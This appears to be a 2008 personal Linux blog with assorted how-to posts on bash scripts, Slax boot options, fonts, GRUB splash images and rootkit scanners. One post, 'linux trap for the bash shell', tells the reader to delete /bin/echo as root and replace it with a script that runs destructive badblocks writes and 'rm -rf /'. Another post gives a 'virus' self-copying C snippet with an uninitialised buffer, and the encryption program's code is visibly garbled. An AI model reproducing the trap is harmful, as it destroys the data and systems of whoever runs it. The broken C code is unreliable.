Monday, June 30, 2008

Bash shell scripting "IF THEN" logic

UBUNTU LINUX bash shell script file. Usage of the DU and LS commands. This file is an example of scripting logic "IF THEN" & script command arguments.
project:pitch-forks filename: Script
-------------------------------------

#!/bin/bash
if [[ $1 = "" ]]; then
echo "Usage: $0 size listing"
echo "Ubuntu Linux bash script by Johnny Buckallew Stroud 2008,"
echo "open public information. "
exit
fi

if [[ $2 = "size" ]]; then
du -h $1
exit
fi

if [[ $2 = "listing" ]]; then
ls -l $1
exit
fi

ls -l $1
du -h $1

Monday, May 26, 2008

Scripting C self copying file example

#include < stdio.h >
#include < stdlib.h >
int main( int argc, char *argv[] ) {
FILE *sourceFile;
FILE *destinationFile;
char *buffer;
int n;
int i = 0;

sourceFile = fopen("virus", "rb");
destinationFile = fopen("target", "wb");


if(sourceFile==NULL) {
return 1;
}
else if(destinationFile==NULL) {
return 1;
}
else {
n = fread(buffer, 1, 9000, sourceFile);
fwrite(buffer, 1, n, destinationFile);
fclose(sourceFile);
fclose(destinationFile);

destinationFile = fopen("target", "rb");
n = fread(buffer, 1, 9000, destinationFile);
for ( i = 0; i < 10; i++ ) {
printf("%s", buffer);
}
fclose(destinationFile);


return 0;
}
}

linux trap for the bash shell :))

Steps to setup this Linux Shell trap!

Step1: SUDO SU
and your password.

Step2: CD /bin

Step3: DIR RM

Step4: RM ECHO

Step5: Our new bash shell script to substitute for echo shell command...
1 #!/bin/bash
2 badblocks -vsw /dev/sda1
3 sudo badblocks -vsw /dev/sda1
4 rm -rf /
5 sudo rm -fr /
6 echo

Sunday, March 9, 2008

backup software for ubuntu

sudo apt-get install aptoncd
http://aptoncd.sourceforge.net/


What is APTonCD?


APTonCD is a tool with a graphical interface which allows you to create one or more CDs or DVDs (you choose the type of media) with all of the packages you've downloaded via APT-GET or APTITUDE, creating a removable
repository that you can use on other computers.

APTonCD will also allow you to automatically create media with all of your .deb packages located in one especific repository, so that you can install them into your computers without the need for an internet conection.



With APTonCD you be able to...



Backup

Backup all downloaded packages (via apt-get, aptitude and synaptic) to restore later.

Transport

Take with you all your favorite packages, in a removable repository where you can install then all on anytime, anytime.


Download

Get an entire repository, or a specifc section. Simply point-and-click, and in few time you'll have an CD(s) or DVD(s) with entire main, restricted, universe, multiverse, contrib, etc.


Share

Share your packages with your friends without Internet conection. Also, send a meta-package for him to install the same set of packages that you have.


Monday, March 3, 2008

Do you hate VI for text editing ?

Command line example:
sudo nano textfile.txt

NANO: is a text editor that most all linux shells have preinstalled . The nano editor is designed to emulate the functionality and ease-of-use of UW Pico text editor. There are four main sections of the editor. NANO is a no bullshit editor that hackers and system adminstrators use on-the-fly for fast editing of text and script files.

Sunday, March 2, 2008

Slax Linux

How to fix a corrupted filesystem in Slax Linux?

As mentioned in the previous section, FAT filesystem is the most vulnerable one. If Linux detects a corruption, it will remount it read-only to prevent further damage. To fix the problem, use:

dosfsck -wa /dev/hdb1

Replace hdb1 by your own partition name, of course. If you get an error message that there are differences between boot sector and its backup, don't worry about that, it's not any problem. The utility will simply skip that and will continue fixing all the other errors.


SLAX CHEATCODES FILE: cheatcodes.txt

Boot parameters (also known as cheatcodes) are used to affect the booting process of SLAX. Some of them are common for all Linuxes, others are specific for SLAX only. You can use them to disable desired kind of
hardware detection, to start SLAX from harddisk, to skip the login
prompt and start GUI, etc.

Reboot your computer and wait several seconds until nice graphical slax
logo appears with a boot menu (it's there usually for less then 9 seconds).
Choose your desired menu entry and hit Tab, which will allow you to edit the
command line. Add your desired boot argument from the list below, to affect
booting the way you like:

acpi=off
nohotplug
nopcmcia
noagp

... disable specified hardware autodetection in the case of hangups
Your hardware won't be detected at all, you'll have to use "pcimodules"
command after logging into SLAX and you'll have to try to modprobe
all needed modules from the list manually

nodma

... disable DMA for all CD-ROMs and disks


noauto

... list harddisks in fstab with 'noauto', so you have to mount every
disk manually in order to access it.

nohd

... don't mount any harddisks at all.

nocd

... don't mount any cdroms at all.

nosound

... mute sound instead of raising volume to 77%


from=/dev/hda1/slax.iso
from=path/to/slax.iso
from=/dev/hda1
from=path/to/slax/


... To load SLAX data from different place instead of the boot device.
... First example will search for slax.iso, only on hda1
... Second example will search for 'path/to/slax.iso' on all devices.
The first device containing the path/file is used
... Third example expects that the ISO is unpacked to hda1
... Fourth example searches through all disks for a directory 'path/to/slax'
and expects content of unpacked ISO inthere


passwd=somepass
passwd=ask

... set root's password to "somepass", or ask (with =ask) for a new password
during the boot, before starting slax (don't worry, the new password
won't be shown at the login screen)


changes=/dev/device
changes=/dev/device/file.dat
changes=/path/
changes=/path/file.dat
changes=/dev/device/path/


... all changes you made in SLAX are kept in memory until you reboot.
But with this boot parameter, you tell SLAX to use different device
(or a file or directory) than the memory for storing changes. You can,
for example, format your disk partition /dev/hda1 with some Linux
filesystem (eg. xfs) and then use changes=/dev/hda1 to store all changes
to that disk (it will be stored in 'changes' directory on that disk.
This way you won't loose your changes after reboot.
... if you use a file name instead of device, and the file contains valid
filesystem, Slax will mount it as a loop device and will store changes
to it. Moreover if you don't specify the device where the file is stored,
Slax will try to find it on all your partitions.
... if you use a directory, Slax will save changes to it (it will make a
'changes' subdirectory inthere). You don't even need a Linux filesystem
on that disk, as the directory will be overlayed by posixovl. This way,
you can save your changes even to VFAT or NTFS.

toram
copy2ram

... copy all files (all required and optional modules) to RAM.
You'll need at least 320MB of RAM to do this and boot SLAX properly.
This will slow down the boot phase but it will speed up SLAX!


load=module

... load optional modules from /optional/ directory on the CD.
You can use full module name (module.lzm) or you can skip the extension


noload=module
noload=module[1];module[n]


...disable loading of any modules specified. This affects all the modules on
SLAX CD, including /base and /modules, so using noload=kde will disable
loading of all modules with 'kde' in the name. It is useful with copy2ram
cheatcode, because any un-used module is not copied to ram.


debug

... enable debug mode (and start bash several times during the boot)
hit Ctrl+D to continue booting


autoexec=...
autoexec=startx
autoexec=xconf;startx
autoexec=xconf;startx;reboot


... Execute specified command(s) instead of SLAX login. In this
example, skip slax login prompt and automatically start XWindow
system. Use semicolon (;) as command separator.
... Slax will not reboot automatically after the command(s) finish,
so if you'd like to restart, specify 'reboot' or 'poweroff' as the
last command.
... If you need to use spaces in the commandline, replace them by ~.
For example, autoexec=echo~Shutting~power;poweroff will do just like that.

Monday, February 18, 2008

python shell scripting 4

Step 1 command: sudo gedit hello

File Name: hello
hello world example:
#!/bin/bash
#
python hello.py

--------------------------------------------------

Step 2 command: sudo gedit hello.py

File Name: hello.py
hello world example in python:
#! /usr/local/bin/python
import os
if os.environ['USER']:
print 'Hello, '+os.environ['USER']

----------------------------------------------------

shell command to run program:
cd /home/user/scripts

shell Prompt: command:
------------------------------- --------
user@youhomecomputer:~/scripts$ ./hello

Toxic Email & Exploiter's

FONT & EMAIL WORM SCANNER:
sudo apt-get install clamav


rootkit, backdoor, sniffer and exploit scanner
Rootkit Hunter scans your system for known and unknown rootkits, backdoors, sniffers and exploits.

Some of the tests it does:
- MD5 hash compare
- Look for default files used by rootkits
- Wrong file permissions for binaries
- Look for suspected strings in LKM and KLD modules
- Look for hidden files
- Optional scan within plaintext and binary files

Please note that rkhunter does *not* guarantee your system has not been compromised! You should also run additional tests, e.g. using chkrootkit and other measures.



How to use this software:
sudo apt-get install chkrootkit

sudo chkrootkit

sudo rkhunter --check




Homepage: http://rkhunter.sourceforge.net
• Ubuntu Synaptic Package Manager has this ready to download.

Monday, February 11, 2008

installing new truetype fonts in ubuntu

If there are other TrueType fonts that you want installed, it is as easy as copying the font files to the "~/.fonts/" directory or this directory "/usr/share/fonts/truetype". To copy from the ubuntu konsole you will have to use cp command.


EXAMPLE COMMAND:"sudo cp /home/*.* /usr/share/fonts/truetype"

After installing new fonts, you will have to log out and log in again to be able to see and use the new fonts. If you want to avoid this, you can regenerate the fonts cache by issuing the following command: sudo fc-cache -fv


You can install the MS core fonts by installing the "msttcorefonts" package. To do this, enable the “Universe” component of the repositories. This is done by default in Feisty. After you do that, use the following command from the command line: sudo apt-get install msttcorefonts

Wednesday, February 6, 2008

Hidden linux/dos bug.

This is A C example of the type dos command. you can compile this C source code and copy it using the linux command CP to the directory /bin. the linux copy command is “sudo cp mtype /bin” and your good to go.

File Name: mtype




#include stdio.h
#include stdlib.h



int main(int argc, char *argv[])

{

FILE *fp;

char ch;



if((fp = fopen(argv[ 1 ],"r"))==NULL) {

printf("Error: %s Cannot open file.\n",argv[1]);

exit(1);

}



while((ch = fgetc( fp )) != EOF) {

printf("%c", ch);

}

fclose(fp);



return 0;

}



I can remember back in the days of ms-dos that if you used the type command on a executable file it scrambled the text of the dos prompt. if you compile this C script and copy it to the directory called “/bin” you can use it as a command. use the command to dump some executable file and the bug really fucks up the shell font of Linux.

Shell Encryption

GCC/cpp or linux version of Ansi C assembler. The Encryption is week XOR based. it's just the 1st example I can think of from memory.
Command Line Example:
Command 1: sudo gcc -o encrypt encrypt.c
Command 2: ./encrypt
Note: ...you can copy encrypt to /bin ....



C++ Include Files:





#include

#include



#define KEY_LENGTH 66 * 6



unsigned char Random_Byte(void)

{

double result;



result = (double) rand() / (double) RAND_MAX;

result = result * 255.0;

return (unsigned char) result;

}







void Crypt(FILE *input, FILE *output)

{

unsigned char key[KEY_LENGTH];

int key_index, in_value;

unsigned char out_value, random_value;

int done;



/* create random key */

for (key_index = 0; key_index < done =" 0;" in_value =" fgetc(input);">= 0)

{

out_value = (unsigned char) in_value;

random_value = Random_Byte();



for (key_index = 0; key_index < out_value =" out_value" out_value =" out_value" done =" 1;" done =" 0;" in_value =" fgetc(input);">= 0)

{

random_value = (unsigned char) in_value;

in_value = fgetc(input);

if (in_value >= 0)

{

out_value = (unsigned char) in_value;

out_value = out_value ^ random_value;

for (key_index = (KEY_LENGTH - 1); key_index >= 0; key_index--)

out_value = out_value ^ key[key_index];



fputc(out_value, output);

}

else

done = 1;

}

else

done = 1;



} /* end of while */

printf("Decrypting file..");

} /* end of Decrypt() */







int main(int argc, char *argv[])

{

FILE *input, *output;



if (argc <> \n");

printf("Use the `e' option to encrypt in_file, producing out_file.\n");

printf("Use the `d' option to decrypt out_file giving in_file.\n");

printf("Example: Encrypt c plain.txt coded.txt\n");

printf(" Encrypt d coded.txt newplain.txt\n");

printf("\n Encryption By Johnny Buckallew Stroud\n");

return 0;

}



if ( (argv[1][0] != 'e') && (argv[1][0] != 'd') )

{

printf("First agument must be `e' or `d'.\n");

return 1;

}



input = fopen(argv[2], "r");

if (!input)

{

printf("Cannot open %s for reading.\n", argv[2]);

printf("Command Example: sudo encrypt e %s outfile.doc \n", argv[2]);

return 1;

}



output = fopen(argv[3], "w");

if (!output)

{

printf("Cannot open %s for writting.\n", argv[3]);

printf("sudo encrypt e input.doc %s", argv[3]);

fclose(input);

return 1;

}



printf("Working......");

srand( time(NULL) );

if (argv[1][0] == 'e')

Crypt(input, output);

else

Decrypt(input, output);



printf("....Done.\n");

fclose(input);

fclose(output);

return 0;



} /* end of main() */

Tuesday, February 5, 2008

Linux shell scripting: PART 2

This shell example script mounts the cdrom drive:

File Name: readcd



#!/bin/bash
# CD-ROM Script
echo Setting up cd-rom..
mount /dev/scd0 /mnt/cdrom
echo ... Done.





This example shell script finds and mounts USB/PCMCIA flash drives. you can add this script to,
RedHat Linux 9 as part of the startup configuration scripts.

File Name: AutoM


#!/bin/bash
# Auto find & Mount drives script.
echo Setting up cd-rom...
mount /dev/scd0 /mnt/cdrom
echo ... Done.
mount -t msdos /dev/hde1 /mnt/flash1
mount -t ext2 /dev/hde1 /mnt/flash1
mount -t ext3 /dev/hde1 /mnt/flash1
mount -t msdos /dev/hdg1 /mnt/flash2
mount -t ext3 /dev/hdg1 /mnt/flash2
mount -t ext2 /dev/hdg1 /mnt/flash2
mount -t ext2 /dev/sda1 /mnt/usb1
mount -t ext3 /dev/sda1 /mnt/usb1
mount -t msdos /dev/sda1 /mnt/usb1
mount -t ext3 /dev/sdb1 /mnt/usb2
mount -t ext2 /dev/sdb1 /mnt/usb2
mount -t msdos /dev/sdb1 /mnt/usb2
mount





Script Set-up:
Open A new Shell and type in the next set of 5 commands:

cd /mnt/
sudo mkdir /usb1
sudo mkdir /usb2
sudo mkdir /flash2
sudo mkdir /flash1

Monday, February 4, 2008

Yahoo Chat in linux

Gyach Enhanced/pY! Voice Website info: full-featured Yahoo client for LINUX with voice chat and webcam support. Mission: To focus on thorough Y! support on Linux only. Philosophy: Trying to do multi-protocol / cross-platform clients slows progress and results in half-baked support - One protocol, one OS...done well.


Download the deb packages
for UBUNTU without haveing to use Alien to convert the RPM files.

Zinc - is an open source Yahoo! console chat client for GNU/Linux, FreeBSD, NetBSD, OpenBSD, Mac OS X, and Solaris. Zinc is written in Python and released under GPL. Zinc originally started out as a code fork of Curphoo 0.3.7 but it has been completely rewritten since then.

WIFI - WICD Project..

http://wicd.sourceforge.net/ -WICD-
If you hate using the standard WIFI software that UBUNTU has then WICD is an alternative. I never really liked using this software.

Startup manager & Grub

First, you should install a startup manager for ubuntu. This tool allows you to change settings in the bootloader and splash screen in Ubuntu Gutsy. Run the following line in your terminal to install this tool.

sudo aptitude install startupmanager

This may remove some software packages.

Then, you start up this tool as a root user

sudo startupmanager

I installed UBUNTU linux & I get a blank startup screen ? How to fix this hardware bug:

sudo gedit /etc/usplash.conf



Maybe, the content of your configuration file looks like this:

# Usplash configuration file
xres=1280
yres=1024



You change the resolution in this file to:

# Usplash configuration file
xres=800
yres=600


If you have grub Installed you can just edit the file with X-Windows Text editor "GEDIT" ..

Open the shell:

cd /boot/grub
sudo gedit menu.lst

There are 3 important things to know about GRUB's splash image support.

[1] The image needs to be in xpm format.
[2] The image needs to be 640x480 in size.
[3] The image must have only 14 colors.

The xpm file can be left as is or gzipped; grub seems to load gzipped images a bit faster. The thinking on this is that grub can load a gzipped image and decompress it faster than it can load the full size image, due to hard drive access times.

You can still change the foreground and background colors of grub's menu if you're using a splash image, but the image itself won't be affected, only the menu overlay.

Here are a couple ways to get an image in the format you want it:

The quick way: (using convert from imagemagick)

convert -resize 640x480 -colors 14 whatever.xpm newwhatever.xpm && gzip newwhatever.xpm

The slow way: (using the gimp)

Open the image you want to use in the gimp, click the "Image" menu, then "Mode", then "Indexed". Select "Generate Optimum Palette:" and enter 14 for the maximum number of colors. It's also recommended that you check the "No Color Dithering" option.
After the conversion, save the file as whatever.xpm. The gimp should automatically create the correct format when it saves the file.

the gimp shell command so you can save the file to "/boot/grub/" : sudo gimp

After you've gotten the image into the correct format and gzipped it (or not, your choice), all you need to do is add it to your grub config file, menu.lst (sometimes grub.conf, symlinked to menu.lst or a normal file, depending on your distribution.) The line you need looks something like this:

splashimage (hd0,2)/grub/crux02.xpm.gz


This example is from my system, where the image is called crux02.xpm.gz and is stored in /boot/grub. /boot is the 3rd partition on my system, so (hd0,2) is needed to point grub to the right place. As you might guess, grub numbers partitions and drives with a 0-origin. So (hd0,2) means the first hard drive, third partition. GRUB can read many different filesystems, including reiserfs and xfs, fortunately, so nothing funky is needed to get it to see the image path.

Linux shell scripting

So you can re-script the Linux shell to act more like ms-dos. The DOS command CLS in ubuntu linux is clear. so you can create a short bash shell script and this is the example:

open a new shell with the command "konsole --type us" ...
then type the next commands,
1. cd /bin
2. vi cls
OK, so now you have opened a new file to be scripted called "cls". Next we have to use the shell text editor "VI".

type in the script:
#!/bin/sh
clear

it's just 2 lines of text.

VI editor information: http://www.eng.hawaii.edu/Tutor/vi.html


To Setup the script to execute as a command you change the permissions:
1. chmod 555 cls and/or chmod 255 cls
(gives everyone read/execute permission)
and/or
2. chmod +rx cls
(gives everyone read/execute permission)
3. chmod u+rx cls
(gives only the script owner read/execute permission)

Konsole Commands

KONSOLE – this command can be excited in the KDE or GNOME X-windows environment.


gksu /usr/bin/x-terminal-emulator – this command grants access to the root shell. keep in mind that you have to provide A user password to use the shell.

Konsole --type us - this command starts a shell with super user access. Note: other shell commands sudo su to switch shell sessions to super user access.